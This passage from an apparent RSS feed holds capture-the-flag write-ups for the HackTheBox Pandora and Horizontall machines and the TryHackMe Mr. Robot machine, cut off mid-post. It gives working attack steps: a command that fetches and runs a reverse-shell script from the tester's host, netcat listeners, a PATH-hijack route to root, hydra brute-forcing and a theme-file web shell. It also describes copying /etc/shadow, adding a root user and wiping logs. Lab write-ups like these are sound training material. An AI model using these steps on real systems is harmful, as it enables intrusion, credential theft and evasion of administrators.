src="https://cdn-images-1.medium.com/max/1024/0*IWXX3lTJlh59Ob4j.png" /><figcaption>/images directory found in pandora_console.</figcaption></figure><p>Let&#39;s now upload the reverse shell file we got from <a href="https://github.com/pentestmonkey/php-reverse-shell">PentestMonkey&#39;s Github Repository</a>.</p><p><strong>Note: Change the IP and Port to fit your assigned IP and desired port.</strong></p><p>Open up a netcat listener that matches your assigned port on the reverse shell file.</p><p>To open up a netcat listener:</p><ul><li>nc -lvnp [port]</li></ul><p>Execute the shell.php file we just uploaded and see if we got our reverse shell connection back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8F8LBnnWeQayvPBL.png" /><figcaption>Uploaded malicious .php file into the web server.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-9ED78VwjrWCECJP.png" /><figcaption>Got shell as matt.</figcaption></figure><h3>Table 1.3: Credentials</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/1*vh_PJDw8h4ee-3eRZCcxbA.png" /><figcaption>Credentials found.</figcaption></figure><h3>Post-Exploitation</h3><h3>Internal Enumeration</h3><h4>Table 1.3: Checklist for Linux Internal Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*iV70HWKW-eYJcVQmiexW4Q.png" /><figcaption>Small list of linux privesc checklist.</figcaption></figure><p><em>Notes: For more information about the commands look </em><a href="https://explainshell.com/"><em>here</em></a> <em>Tip: When nothing else makes sense, try to use </em><a href="https://github.com/carlospolop/PEASS-ng"><em>LinPEAS</em></a><em> (</em><a href="https://github.com/carlospolop/PEASS-ng"><em>winPEAS</em></a><em> for windows machines.).</em></p><p>Looking at matt&#39;s home directory, we noticed that he does not SSH keys. We can generate SSH keys for matt to stabilize our shell. We can use ssh-keygen to do this.</p><p>To generate SSH keys:</p><ul><li>ssh-keygen</li></ul><p><em>Note: I didn&#39;t set the password in generating ssh keys for matt but you can set it if you wish.</em></p><p>We also need to create a file named authorized_keys for the machine to accept/recognize SSH connection. More of the explanation is found <a href="https://www.ssh.com/academy/ssh/authorized-keys-file">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/0*EVJfemmomrWgqsRJ.png" /><figcaption>Checked for ssh-keygen binary.</figcaption></figure><p>Also, set the permissions of the authorized_keys file to 644.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uZuYZJV5JLkAl7nQ.png" /><figcaption>Making sure that permissions for authorized_keys are correct.</figcaption></figure><p>To create authorized_keys and set its permissions to 644:</p><ul><li>touch authorized_keys</li><li>chmod 644 authorized_keys</li></ul><p>Inside the .ssh folder,</p><p>Now we have authorized_keys file configured, we need to append the public SSH key of matt to authorized_keys.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lBvjvybUph8YuTXB.png" /><figcaption>Public ssh key for matt.</figcaption></figure><p>To append id_rsa.pub to authorized_keys (assuming you are still in the .ssh directory):</p><ul><li>echo $(cat id_rsa.pub) &gt;&gt; authorized_keys</li></ul><p><em>Note: We can just simplify this by doing </em><em>cat id_rsa.pub &gt;&gt; authorized_keys.</em></p><p><em>Explanation: Echo and append the result of </em><em>cat command to </em><em>authorized_keys file.</em></p><p>Copy the Private SSH key of matt to our attacking machine and change its permission to 600.</p><p>To know more about the octal permissions, you can visit <a href="https://docs.oracle.com/cd/E19504-01/802-5750/6i9g464pv/index.html">this</a> link.</p><p>Let&#39;s now try to login as matt using SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ce4W4ier89O8rxbd.png" /><figcaption>SSH login as matt.</figcaption></figure><h3>Privilege Escalation</h3><p>Running our mini checklist from above, we first tried if there are SUID binaries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/0*hZzFn34iw7J5ely2.png" /><figcaption>Checking for SUID binaries.</figcaption></figure><p>There is a binary named pandora_backup. Let&#39;s try to look what this binary does.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qNHec7x0q-cfbvf_.png" /><figcaption>Cat-ing out the contents of pandora_backup binary (not recommended XD).</figcaption></figure><p>It looks like the binary is using tar and running it as root.</p><p>Since the pandora_backup binary is running tar binary without using absolute path, we can abuse this by creating our own tar file and appending the directory we are currently on to the PATH variable. For more information, you can refer to this article: <a href="https://medium.com/r3d-buck3t/hijacking-relative-paths-in-suid-programs-fed804694e6e">https://medium.com/r3d-buck3t/hijacking-relative-paths-in-suid-programs-fed804694e6e</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/0*GLNgaBf3HrapbGuS.png" /></figure><p>To escalate our privileges:</p><ol><li>echo /bin/bash &gt; tar</li><li>chmod +x tar</li><li>export PATH=$(pwd):$PATH</li><li>/usr/bin/pandora_backup</li></ol><p><em>Explanation: added our current directory to PATH variable and created malicious </em><em>tar file to be an executable. Running the binary </em><em>/usr/bin/pandora_backup will result to </em><strong><em>root</em></strong><em> shell since the precedence of finding the executable binaries start from beginning of the </em><em>PATH variable up to end.</em> <em>Note: If there is something wrong about my explanation, feel free to message me and I will correct the erroneous explanations.</em></p><p>To know more about PATH variable and how it finds executable binaries, refer to this forum: <a href="https://superuser.com/questions/238987/how-does-unix-search-for-executable-files">https://superuser.com/questions/238987/how-does-unix-search-for-executable-files</a>.</p><h3>STATUS: ROOTED</h3><p>The next two steps are not necessary for completion of the machine but it completes the 5 Phases of Penetration Testing.</p><h3>Persistence</h3><p>Copied the /etc/shadow file for user identification and their passwords.</p><p>Added another root user for easy access.</p><h3>Clearing Tracks</h3><p>Removed all logs and footprints to to prevent risk of exposure of breach to security administrator.</p><h3>Status: Finished</h3><p>Feel free to reach out and if there is something wrong about the above post. Feedbacks are also appreciated! :D</p><h3>Donation Box</h3><p>Not required but appreciated! :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/170/0*myifOZ6qLzwcqRFl.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/1*Zp179nUzBMqBk_swIXMtxw.png" /></figure><h3>Socials</h3><ul><li><a href="https://twitter.com/hambyhaxx">Twitter</a></li><li><a href="https://hambyhaxx.medium.com/">Medium</a></li><li><a href="https://github.com/hambyhacks">Github</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e7a533e8bcf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox: Horizontall Writeup]]></title>
            <link>https://scritty.medium.com/hackthebox-horizontall-writeup-98e6bfa303a5?source=rss-54d24075c003------2</link>
            <guid isPermaLink="false">https://medium.com/p/98e6bfa303a5</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[scr1++y]]></dc:creator>
            <pubDate>Thu, 10 Feb 2022 08:09:00 GMT</pubDate>
            <atom:updated>2022-02-10T08:09:00.037Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sAtnyFiuIHsllGLa" /><figcaption>Photo by <a href="https://unsplash.com/@pawel_czerwinski?utm_source=medium&amp;utm_medium=referral">Pawel Czerwinski</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><pre>IP = 10.10.11.105<br>Difficulty: Easy<br>Machine OS: Linux<br>Learning Platform: hackthebox.eu<br>Finished on: Arch Linux</pre><h3>Reconnaissance</h3><h4>Scoping and Preparation</h4><p>I used my tool <a href="https://www.github.com/hambyhacks/CTFRecon">CTFRecon</a> to automate directory creation, network scanning, web directory brute-forcing and adding entry to /etc/hosts file.</p><p>To use <a href="https://www.github.com/hambyhacks/CTFRecon">CTFRecon</a>:</p><p>1. git clone https://www.github.com/hambyhacks/CTFrecon</p><p>2. cd CTFRecon</p><p>3. chmod +x ctfrecon.sh &amp;&amp; cp ctfrecon.sh ../</p><p>4. sudo ./ctfrecon.sh [IP] [DIRECTORY NAME] [PLATFORM] [WORDLIST]</p><h3>Preliminary Enumeration via nmap</h3><h4>Table 1.1: nmap Results</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*URHcFaqXnMmvDJUVzpTS-w.png" /><figcaption>nmap results summary.</figcaption></figure><p>Machine OS: Based on OpenSSH version, machine is <a href="https://launchpad.net/ubuntu/+source/openssh/1:7.6p1-4ubuntu0.5">Ubuntu Bionic</a>.</p><h3>Enumeration</h3><h4>Manual Web Enumeration</h4><p>Looking at the webpage at port 80, we are greeted by this webpage below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*e93ALi6OjTuZi9af.png" /><figcaption>webpage at port 80.</figcaption></figure><p>We can also look through the source code of the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IgwWOgJ1uIxgiXZ9.png" /><figcaption>source code for horizontall.htb</figcaption></figure><p>We can check for .js files in the source code to see if there is something interesting in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*d3i8vzjcVgHYSfE7.png" /><figcaption>.js files found on source code.</figcaption></figure><p>Checking the app.c68eb462.js file, we can see that is obfuscated, meaning the JavaScript file is written in a way that is not human readable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5jqUVRkD48vC0RS2.png" /><figcaption>obfuscated .js code.</figcaption></figure><p>We can use <a href="https://beautifier.io/">Beautifier.io</a> to make it more readable. Copy the whole content of app.c68eb462.js and paste it in the space provided in the web app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zE8mSCFF4BD1oZct.png" /><figcaption>subdomain found by looking at the beautified .js code.</figcaption></figure><p>We can also found it by manual checking the .js file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tDOUkOgK_0KVXbpA.png" /><figcaption>also found by scrolling through obfuscated .js code.</figcaption></figure><p>Also make sure to add api-prod.horizontall.htb to /etc/hosts file.</p><p><em>Note: This is why manual enumeration is important!</em></p><p>We can now look at the subdomain of the webpage: api-prod.horizontall.htb.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*H6WnZSun61zbODuw.png" /><figcaption>api.horizontall.htb webpage.</figcaption></figure><p>Looking at the source code of api-prod.horizontall.htb, we found out that it is does not help us much.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sX5K_Ztm760GzHnv.png" /><figcaption>source code for api.horizontall.htb.</figcaption></figure><p>We can also look at the web technologies used in api-prod.horizontall.htb using <a href="https://www.wappalyzer.com/">Wappalyzer</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*xObUaJyiLAUD8c9y.png" /><figcaption>web technologies used in api.horizontall.htb</figcaption></figure><p>We can see that the web server is using <a href="https://strapi.io/">Strapi CMS</a>.</p><p>Let&#39;s enumerate more using automated tools.</p><h3>Web Enumeration using GoBuster</h3><p>We need to find a way to enumerate the webpage further, this time we use automated tools to help us find endpoints in api-prod.horizontall.htb.</p><p>Using <a href="https://github.com/OJ/gobuster">GoBuster</a>, we found some interesting directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MexCLJ0mvUEmn-Vp.png" /><figcaption>/admin directory found using GoBuster.</figcaption></figure><p>As we can see above, there is an admin directory! Let&#39;s try to navigate to that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rizOqVDmigcrSysE.png" /><figcaption>login page found in /admin.</figcaption></figure><p>Nice! A login page. We can try to do some basic SQL injection. I have only done manual testing before I tried to search strapi on Google.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XnyobpgfTxED6Yq3.png" /><figcaption>googling strapi CMS possible exploits.</figcaption></figure><p><em>Tip: When in doubt, search it in Google.</em></p><h3>Possible Exploits</h3><p>We recently found out that api-prod.horizontall.htb is running strapi CMS(Content Management System).</p><p><em>Google search: </em><em>strapi CMS exploit</em></p><p>First search result gives us an unauthenticated RCE on strapi CMS! But we need to know what version the CMS is running.</p><p>I got stucked here for a bit, but I tried to read the <a href="https://strapi.io/documentation/developer-docs/latest/getting-started/introduction.html">documentation</a>.</p><p>I decided to read the python exploit script from <a href="https://www.exploit-db.com/exploits/50239">exploit-db</a> and searched it on Google. It is classified as <a href="https://github.com/advisories/GHSA-6xc2-mj39-q599">CVE-2019-18818</a>, <a href="https://packetstormsecurity.com/files/163940/Strapi-3.0.0-beta.17.7-Remote-Code-Execution.html">CVE-2019-19609</a>.</p><p><a href="https://github.com/advisories/GHSA-6xc2-mj39-q599">CVE-2019-18818</a> is an unauthenticated RCE (Remote Code Execution) which allows an attacker to reset an admin&#39;s password without providing valid password reset token.</p><p><a href="https://packetstormsecurity.com/files/163940/Strapi-3.0.0-beta.17.7-Remote-Code-Execution.html">CVE-2019-19609</a> is an authenticated RCE which allows attackers inject arbitrary shell commands because of improper input sanitization.</p><p>Reading the exploit script in <a href="https://www.exploit-db.com/exploits/50239">exploit-db</a>, the script is sending GET request to /admin/init. We can try to see if it is present in the web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*q-4lnDAoFzdUFIId.png" /><figcaption>version number found in /admin/init.</figcaption></figure><p>Cool! We confirmed that the version is indeed 3.0.0-beta.17.4.</p><h3>Exploitation</h3><p><em>Steps to reproduce:</em></p><ol><li>Go to Exploit-db and copy <a href="https://www.exploit-db.com/exploits/50239">this</a> script.</li><li>Open a text editor and save it as CVE-2019-18818.py (or any filename you like).</li><li>On your terminal, type:</li></ol><ul><li>python3 CVE-2019-18818.py api-prod.horizontall.htb</li></ul><p>4. Copy the <a href="https://jwt.io/">JWT</a> token produced by the script and save it for later. Output should be like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*p3W90nzpSjMkz3RC.png" /><figcaption>running cve-2019–18818 PoC on target.</figcaption></figure><p>5. We can now login on the web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*da2xCeCCs8dwWNE7.png" /><figcaption>successfully logged in the admin panel.</figcaption></figure><p>6. Looking back at our status, we are now authenticated as admin. We can use the exploit script <a href="https://packetstormsecurity.com/files/163940/Strapi-3.0.0-beta.17.7-Remote-Code-Execution.html">CVE-2019-19609</a> to get a shell on machine.</p><p>7. On your terminal,type:</p><ul><li>python3 strapi17-4_RCE.py http://api-prod.horizontall.htb {JWT_TOKEN_HERE} &#39;wget http://{YOUR_IP}:{PORT}/{REVERSE_SHELL_FILE};chmod +x s.sh;bash s.sh&#39; {YOUR_IP}</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0Uc9nS_jnmnuOLHA.png" /><figcaption>Setup for gaining reverse shell using the second PoC we found earlier.</figcaption></figure><p>8. Make sure http server and netcat listener are on before you hit enter.</p><p>9. Reverse shell should be downloaded and also the reverse shell should pop up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nl2osnAgrqdHEH9x.png" /><figcaption>successfully gained reverse shell connection.</figcaption></figure><h3>Privilege Escalation / Post-Exploitation</h3><h4>Internal Enumeration</h4><p>SSH port is open so I assume there is ssh-keygen binary in the machine.</p><p>To make sure we have access on the box even it errors out, we need to setup our ssh keys on strapi user.</p><p>Copy <strong>your</strong> SSH public key and add it on the machine&#39;s /opt/strapi/.ssh/authorized_keys.</p><p>We found a file named database.json on /myapi/config/environments/development/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/0*d7M3fCBpgNtWqSzL.png" /><figcaption>found credentials in database.json.</figcaption></figure><p>We don&#39;t know what is the password of our current user strapi. We must enumerate further more.</p><h4>Table 1.2: Checklist for Linux Internal Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*BNTQc45842mb5oomSVPIQQ.png" /><figcaption>short checklist for linux internal enumeration.</figcaption></figure><p><em>Notes: For more information about the commands look </em><a href="https://explainshell.com/"><em>here</em></a></p><p><em>Tip: When nothing else makes sense, try to use </em><a href="https://github.com/carlospolop/PEASS-ng"><em>LinPEAS</em></a><em> (</em><a href="https://github.com/carlospolop/PEASS-ng"><em>winPEAS</em></a><em> for windows machines.).</em></p><h3>Vertical Privilege Escalation</h3><p>I got stucked here for a bit because I got on the rabbit hole finding the password for strapi user.</p><p>I also read some comments on the <a href="https://forum.hackthebox.com/t/official-horizontall-discussion/243500">forum</a> but I got stucked again. I read the comments again and again and I got what we need to do.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KaiHlGMtZUn5IcKX.png" /><figcaption>service running locally on port 8000.</figcaption></figure><p>We found out that Laravel version is vulnerable to RCE by searching the version number in Google.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dXJRX3A_52H0RbB3.png" /><figcaption>laravel running on port 8000.</figcaption></figure><p>First, we need to login again to the ssh server with port forwarding so we can see the send request through port 8000. To do this:</p><p>Download <a href="https://github.com/nth347/CVE-2021-3129_exploit">this</a> exploit PoC to root the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dxh3FmMf2MY4pfFK.png" /><figcaption>rooted.</figcaption></figure><p>Navigate to /root/ directory and get your root.txt flag!</p><h3>STATUS: ROOTED</h3><p>The next two steps are not necessary for completion of the machine but it completes the 5 Phases of Penetration Testing.</p><h3>Post Exploitation / Maintaining Access</h3><p>Copied the /etc/shadow file for user identification and their passwords.</p><p>Added SSH key to as root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HMuNBN2RPOvnA0q-.png" /><figcaption>added ssh key for root user.</figcaption></figure><h3>Clearing Tracks</h3><p>Removed all logs and footprints to to prevent risk of exposure of breach to security administrator.</p><h3>Status: Finished</h3><p>Feel free to reach out and if there is something wrong about the above post. Feedbacks are also appreciated :D</p><h3>Donation Box</h3><p>Not required but appreciated :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/1*Zp179nUzBMqBk_swIXMtxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/170/0*MqXCfBZbX1A_QuhX.png" /></figure><h3>Socials</h3><ul><li><a href="https://twitter.com/hambyhaxx">Twitter</a></li><li><a href="https://github.com/hambyhacks">Github</a></li></ul><p><em>Originally published at </em><a href="https://hambyhacks.hashnode.dev/hackthebox-horizontall-writeup"><em>https://hambyhacks.hashnode.dev</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=98e6bfa303a5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Mr. Robot CTF Writeup]]></title>
            <link>https://scritty.medium.com/tryhackme-mr-robot-ctf-writeup-d8391eb39dd1?source=rss-54d24075c003------2</link>
            <guid isPermaLink="false">https://medium.com/p/d8391eb39dd1</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[scr1++y]]></dc:creator>
            <pubDate>Tue, 01 Feb 2022 23:57:37 GMT</pubDate>
            <atom:updated>2022-02-01T23:57:37.279Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DMiFbJWek5rS5ChH" /><figcaption>Photo by <a href="https://unsplash.com/@ninjason?utm_source=medium&amp;utm_medium=referral">Jason Leung</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><pre>IP = 10.10.84.57* <br>Difficulty: Medium <br>Machine OS: Linux <br>Learning Platform: tryhackme.com <br>Finished on: Arch Linux</pre><h3>Brief Description</h3><p>A <a href="https://en.wikipedia.org/wiki/Mr._Robot">Mr. Robot</a> themed machine (I haven&#39;t seen the series itself but I will watch it if I have some time to spare.) which involves getting a foothold in a Wordpress site using the sensitive file we will get on the web server. Without further ado, let&#39;s get started in hacking!</p><h3>Reconnaissance</h3><h4>Scoping and Preparation</h4><p>Connect to Tryhackme OpenVPN Server using:</p><ul><li>sudo openvpn [.ovpn_file]</li></ul><p>I used my tool <a href="https://www.github.com/hambyhacks/CTFRecon-Go">CTFRecon-Go</a> to automate directory creation, port scanning, web directory brute-forcing and adding entry to /etc/hosts file.</p><pre>1. git clone https://github.com/hambyhacks/CTFRecon-Go &amp;&amp; cd CTFRecon-Go <br>2. go build . <br>3. sudo ./CTFRecon-Go -d [DIRECTORY_NAME] -p [PLATFORM] -i [IP] -w [WORDLIST_TO_USE_FOR_GOBUSTER]</pre><p>You can also download the release binary by using go install : go install github.com/hambyhacks/CTFRecon-Go@latest</p><p>To use CTFRecon-Go if installed using go install:</p><ul><li>sudo CTFRecon-Go -d [DIRECTORY_NAME] -p [PLATFORM] -i [IP] -w [WORDLIST_TO_USE_FOR_GOBUSTER]</li></ul><h3>External Enumeration</h3><h4>Preliminary Enumeration via nmap</h4><h4>Table 1.1: nmap Results Summary</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/1*zjUxGHeSj7BzXmnMYo71Hg.png" /><figcaption>nmap results summary.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rMunAT-F7IG9mcmL.png" /><figcaption>nmap scan result.</figcaption></figure><p>Nmap result does not give so much information, so we need to proceed to enumerate the web server at port 80 and 443.</p><h3>Web Enumeration</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Bvj-ZLBF6Y8-nO9z.png" /><figcaption>webpage at port 443(HTTPS).</figcaption></figure><p>In the webpage, we can see that there are set of commands that we can use to see how the web server works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vy1mlfLfiXsYgPBH.png" /><figcaption>HTML source of webpage.</figcaption></figure><p>Looking through the source code, we can see there are some .js files and looking at them does not help me that much because I can&#39;t read javascript files properly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/0*2lte9mZF6o2EuRft.png" /><figcaption>web technologies used.</figcaption></figure><p>Using wappalyzer, we managed to enumerate the versions of technologies used the web server. The one that stands out is knowing that the webpage is running WordPress!</p><h3>Content Discovery</h3><p>By gut feeling, I typed in the URL search bar robots.txt to see if there are some sort of directories we can look at and voila, we found some interesting files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DkCMrcDXo1To_eHf.png" /><figcaption>robots.txt file.</figcaption></figure><p>Files named fsocity.dic and key-1-of-3.txt are listed on robots.txt file. Type that in the URL search bar and download them. ( <em>key-1-of-3.txt is the web flag.</em>)</p><p>Let&#39;s look inside the contents of the file named fsocity.dic. Just by looking at the file extension, I got some feeling that this file is a dictionary file that we can use for bruteforcing the login in webpage specifically in /wp-login.php. But for the sake of completeness, we will check the contents of the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/0*ZIw6O6PCilnhWz_z.png" /><figcaption>using file command on fsocity.dic</figcaption></figure><p>As shown in the image above, using the file command does not give us anything useful. ( <em>if there is something useful, don&#39;t hesitate to tell me. I am still a newbie and keeps on learning!</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uMbs6Gn6qIrT8EeO.png" /><figcaption>contents of fsocity.dic</figcaption></figure><p>Looking inside the contents of the file fsocity.dic, it seems like a passwords list. Let&#39;s check how many lines does the file have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/0*HwSOSnrBRHr6ETiU.png" /><figcaption>line count for fsocity.dic</figcaption></figure><p>Oof, thats a lot of line count to use in a bruteforcing tool such as hydra. But we can check if those lines are duplicate and remove them. We can use the sort command.</p><p>Syntax:</p><ul><li>sort -u fsocity.dic &gt; [FILENAME_FOR_SORTED_fsocity.dic]</li></ul><p>Let&#39;s check now if there are improvements for the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/0*MzWfoL-AZiOm42aK.png" /><figcaption>using sort command to remove duplicate entries in file.</figcaption></figure><p>Phew! That&#39;s a relief! From 800k+ lines to 11k+ lines. We can now try to use this sorted file in a bruteforce tool such as hydra and etc.</p><p>Before that, we can navigate through different endpoints in the web server.</p><p>Knowing that the webpage is running WordPress, we can check the login page by visiting the endpoint: /wp-login.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WdpMSHgnD_l5lNBL.png" /><figcaption>/wp-login.php.</figcaption></figure><p>We have dictionary for possible usernames and passwords for the machine but 11k lines of words will still take long for us to bruteforce. Since it is a Mr. Robot themed box, the name of characters in the series must be one of the username used in the machine. Searching through google, I looked for the characters list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fMujmIjUOQaIu8px.png" /><figcaption>mr. robot characters in the series.</figcaption></figure><p>Also by reading the wiki, Elliot Alderson is the main character in the series. Let&#39;s try if elliot is a possible user in the webpage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*U_21UrdncPjue8b4.png" /><figcaption>verbose login error.</figcaption></figure><p>The login form gives so much verbosity that confirms our guess that elliot is a valid user in the webpage.</p><p>There are 2 exploitation paths we can use:</p><ol><li>through xmlrpc.php or</li><li>bruteforcing the login page at wp-login.php</li></ol><p>I used the method 2 because the exploits I found on github are outdated and written in python2 which gives me a lot to troubleshoot. ( <em>I am still learning how to code and will try to implement the exploit using Golang.</em>)</p><h3>Exploitation</h3><p>We have a username and possible dictionary of usernames and passwords and we also know that the webpage is running WordPress. We can now try to exploit the webpage by bruteforcing the login page in /wp-login.php</p><h4>Steps to reproduce</h4><ol><li>Intercept the login HTTP request at /wp-login.php using Burp Suite.</li><li>At the bottom of HTTP request, copy the line that looks like login parameters. (ex: log=elliot&amp;pwd=123123123&amp;wp-submit=Log+In&amp;redirect_to=https%3A%2F%2Fmrrobot.thm%2Fwp-admin%2F&amp;testcookie=1)</li><li>Using hydra, we can now try to brute force the login form by using the module https-post-form. I removed the parameter redirect_to and added S as success string for hydra to find if it successfully found the password.</li></ol><p>Syntax:</p><ul><li>hydra -l [USERNAME] -P [PASSWORD_LIST] [IP] https-form-post &#39;/wp-login.php:log=elliot&amp;pwd=^PASS^&amp;wp_submit=Log In&amp;testcookie=1:S=Location&#39; -t 64 -I</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BHU9meGD6wVRwuMi.png" /><figcaption>hydra syntax for using https-form-post.</figcaption></figure><p>4. The S string looks for Location header in the HTTP response if it successfully logged in the webpage.</p><p>5. After some time, hydra managed to get the credentials for elliot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8j_u7gdKjQQHJKy1.png" /><figcaption>found elliot’s credentials using hydra.</figcaption></figure><p>6. We can now login through the webpage as elliot.</p><p>7. Still we do not have foothold on the internal machine.</p><p>8. I created a .php file contains simple and not malicious code, phpinfo().</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jwdJjRfewGyTAdE6.png" /><figcaption>simple phpinfo() file.</figcaption></figure><p>9. We can try to find some upload functionality to test if we can have a shell in the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ehqrmz9dxlnClukY.png" /><figcaption>tried to upload file with .php extension.</figcaption></figure><p>10. We tried to upload .php file as media for the post but failed. We can try to confuse the filters and try to upload a .php file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Kft11xwqWSWkEf_T.png" /><figcaption>uploaded a file with .php.jpg extension.</figcaption></figure><p>11. Yay! We successfully bypassed the upload filter! But the real question is, will it run?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*emTH2IQor10nEnFj.png" /><figcaption>error in file uploaded.</figcaption></figure><p>12. Sadly, there is an error on our file, so we need to find another way to have foothold.</p><p>13. Looking at /wp-admin/theme-editor.php, we can edit some code!</p><p>14. Let&#39;s try to edit some templates specifically 404.php which loads when the web server receives HTTP 404 error as response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rxh2kTg3PcQfJr3U.png" /><figcaption>theme editor specifically 404.php</figcaption></figure><p>15. But where do we find the templates we just edited? Let&#39;s ask google!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SgynESq7lHaSP0AK.png" /><figcaption>location of themes in WordPress.</figcaption></figure><p>16. We now know where it resides and the theme we are editing is named twenty-fifteen. We can guess that the theme resides in /wp-content/themes/twenty-fifteen/404.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Mx-r7V1gGO2n--zf.png" /><figcaption>successful execution of phpinfo().</figcaption></figure><p>17. Since the edited 404.php file can be executed, we can try to edit again the file so we can gain a shell on the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iBEEzd8-Z6wFp_QX.png" /><figcaption>edited the 404.php file to a reverse shell.</figcaption></figure><p>18. Using <a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">PentestMonkey&#39;s</a> php reverse shell, I edited the 404.php to a reverse shell file.</p><p>19. Start a netcat listener at your specified port and navigate to /wp-content/themes/twenty-fifteen/404.php</p><p>Syntax:</p><ul><li>nc -lvnp [PORT]</li></ul><p>20. Reverse shell should pop after navigating to 404.php!</p><figure><img alt="" 